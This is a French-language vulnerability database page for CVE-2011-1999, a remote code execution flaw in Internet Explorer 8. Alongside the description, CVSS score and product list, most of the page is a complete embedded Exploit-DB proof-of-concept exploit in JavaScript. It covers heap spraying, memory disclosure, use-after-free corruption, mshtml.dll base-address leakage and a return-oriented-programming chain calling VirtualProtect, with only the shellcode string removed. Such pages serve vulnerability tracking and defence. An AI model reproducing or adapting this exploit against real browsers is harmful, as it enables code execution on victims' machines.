CVE-2011-1999 : Détail

CVE-2011-1999

72.43%V4
Network
2011-10-11
23h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Microsoft Internet Explorer 8 does not properly allocate and access memory, which allows remote attackers to execute arbitrary code via vectors involving a "dereferenced memory address," aka "Select Element Remote Code Execution Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 36209

Date de publication : 2011-10-10 22h00 +00:00
Auteur : Ivan Fratric
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/49964/info Microsoft Internet Explorer is prone to a remote memory-corruption vulnerability. Successful exploits will allow an attacker to run arbitrary code in the context of the user running the application. Failed attacks may cause denial-of-service conditions. <html> <head> </head> <body> <script type="text/javascript"> <!-- //originally, windows 7 compatible calc.exe shellcode from SkyLined var scode = "removed"; var newstack,newstackaddr; var fakeobj; var spray,spray2,selarray,readindex,readaddr,optarryaddr; var elms = new Array(); var optarray; var mshtmlbase; //option object that is to be corrupted var corruptedoption; var corruptedoptionaddr; var corruptaddr; function strtoint(str) { return str.charCodeAt(1)*0x10000 + str.charCodeAt(0); } function inttostr(num) { return String.fromCharCode(num%65536,Math.floor(num/65536)); } function crash() { var o = new Option(); selarray[99].options.add(o,-0x20000000); } function readmem(addr) { if(addr < readaddr) alert("Error, can't read that address"); return strtoint(spray[readindex].substr((addr-readaddr)/2,2)); } function readmem2(addr,size) { if(addr < readaddr) alert("Error, can't read that address"); return spray[readindex].substr((addr-readaddr)/2,size/2); } function overwrite(addr) { try { var index = (addr-optarryaddr)/4 - 0x40000000; selarray[99].options.add(optarray.pop(),index); } catch(err) {} } function getreadaddr() { readaddr = 0; var indexarray = new Array(); var tmpaddr = 0; var i,index; index = readmem(tmpaddr); indexarray.push(index); while(1) { tmpaddr += 0x100000; index = readmem(tmpaddr); for(i=0;i<indexarray.length;i++) { if(indexarray[i]==index+1) { readaddr = readmem(tmpaddr-0x24)-i*0x100000+0x24; return 1; } else if(indexarray[i]==index-1) { readaddr = readmem(tmpaddr-0x20)-i*0x100000+0x24; return 1; } } indexarray.push(index); } } //leverages the vulnerability into memory disclosure function initread() { //overwrite something in a heap spray slide try { selarray[99].options.add(optarray.pop(),-100000000/4); } catch(err) {} //now find what and where exectly did we overwrite readindex = -1; var i; for(i=1;i<200;i++) { if(spray[0].substring(2,spray[0].length-2)!=spray[i].substring(2,spray[0].length-2)) { readindex = i; break; } } if(readindex == -1) { alert("Error overwriring first spray"); return 0; } var start=2,len=spray[readindex].length-2,mid; while(len>10) { mid = Math.round(len/2); mid = mid - mid%2; if(spray[readindex].substr(start,mid) != spray[readindex-1].substr(start,mid)) { len = mid; } else { start = start+mid; len = len-mid; //if(spray[readindex].substr(start,mid) == spray[readindex-1].substr(start,mid)) alert("error"); } } for(i=start;i<(start+20);i=i+2) { if(spray[readindex].substr(i,2) != spray[readindex-1].substr(i,2)) { break; } } //overwrite the string length try { selarray[99].options.add(optarray.pop(),-100000000/4-i/2-1); } catch(err) {} if(spray[readindex].length == spray[readindex-1].length) alert("error overwriting string length"); //readaddr = strtoint(spray[readindex].substr((0x100000-4-0x20+4)/2,2))+0x24; getreadaddr(); optarryaddr = readaddr + 100000000 + i*2; return 1; } function trysploit() { //create some helper objects for(var i =0; i < 100; i++) { elms.push(document.createElement('div')); } //force the option cache to rebuild itself var tmp1 = selarray[99].options[70].text; //overwrite the CTreeNode pointer overwrite(corruptaddr); //read the address of the option object we overwrited with var optadr = readmem(corruptaddr); //delete the option object... selarray[99].options.remove(0); CollectGarbage(); //...and allocate some strings in its place for(var i = 0; i < elms.length; i++) { elms[i].className = fakeobj; } //verify we overwrote the deleted option object successfully if(readmem(optadr) != strtoint(fakeobj.substr(0,2))) return 0; alert("success, calc.exe should start once you close this message box"); //now do something with the corrupted option object corruptedoption.parentNode.click(); } function hs() { //first heap spray, nop slide + shellcode spray = new Array(200); var pattern = unescape("%u0C0C%u0C0C"); while(pattern.length<(0x100000/2)) pattern+=pattern; pattern = pattern.substr(0,0x100000/2-0x100); for(var i=0;i<200;i++) { spray[i] = [inttostr(i)+pattern+scode].join(""); } //fill small gaps, we wan everything _behind_ our heap spray so that we can read it var asmall = new Array(10000); pattern = "aaaa"; while(pattern.length<500) pattern+=pattern; for(var i=0;i<10000;i++) { asmall[i]=[pattern+pattern].join(""); } //create some select and option elements selarray = new Array(100); for(var i=0;i<100;i++) { selarray[i] = document.createElement("select"); for(var j=0;j<100;j++) { var o = new Option("oooooooooooooooooo","ooooooooooooooooooooo"); selarray[i].options.add(o,0); } } //create some extra option elements optarray = new Array(10000); for(var i=0;i<10000;i++) { optarray[i] = new Option("oooooooooooooooooo","ooooooooooooooooooooo"); } //enable memory disclosure if(initread()==0) return; //force the option cache to rebuild itself var tmp1 = selarray[99].options[60].text; //get the address of some option element to be corrupted, also remove it from its select element, we don't want anything else messing with it corruptedoptionaddr = readmem(optarryaddr+60*4); corruptedoption = selarray[99].options[60]; selarray[99].options.remove(60); //get the base address of mshtml.dll based on the vtable address inside the option object mshtmlbase = readmem(corruptedoptionaddr)-0xFC0C0; alert("base address of mshtml.dll : " + mshtmlbase.toString(16)); //we'll overwrite the pointer to the CTreeNode object, compute its address corruptaddr = corruptedoptionaddr+0x14; //second heap-spray, this one will act as a stack (we'll exchange stack pointer with a pointer into this) spray2 = new Array(200); //some address that is likely to be inside the "stack" newstackaddr = optarryaddr+100000000; newstackaddr-=newstackaddr%0x1000; newstackaddr+=0x24; //assemble the "stack" so that it calls VirtualProtect on the firs shellcode and then jumps into it through return-oriented-programming newstack = inttostr(newstackaddr+0x10)+unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA")+inttostr(newstackaddr+0x14)+inttostr(mshtmlbase+0x14EF7)+inttostr(mshtmlbase+0x1348)+inttostr(mshtmlbase+0x801E8)+inttostr(readaddr+0x100000-0x24)+inttostr(0x100000)+inttostr(0x40)+inttostr(readaddr+0x1000)+inttostr(readaddr+0x101000)+unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA")+inttostr(mshtmlbase+0x1B43F); while(newstack.length<(0x1000/2)) newstack+=unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA"); newstack = newstack.substr(0,0x1000/2); while(newstack.length<(0x100000/2)) newstack+=newstack; newstack = newstack.substr(0,0x100000/2-0x100); for(var i=0;i<200;i++) { spray2[i] = [newstack].join(""); } //constract a fake object which will replace a deleted option object (it has to be the same size) //fakeobj = unescape("%u4141%u4141")+inttostr(newstackaddr)+unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141"); fakeobj = unescape("%u4141%u4141%u4141%u4141")+unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141"); //loop until we either achieve command execution or fail for(var i=0;i<100;i++) { trysploit(); } alert("Exploit failed, try again"); } hs(); --> </script> </body> </html>

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 8

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Références

http://www.securityfocus.com/bid/49964
Tags : vdb-entry, x_refsource_BID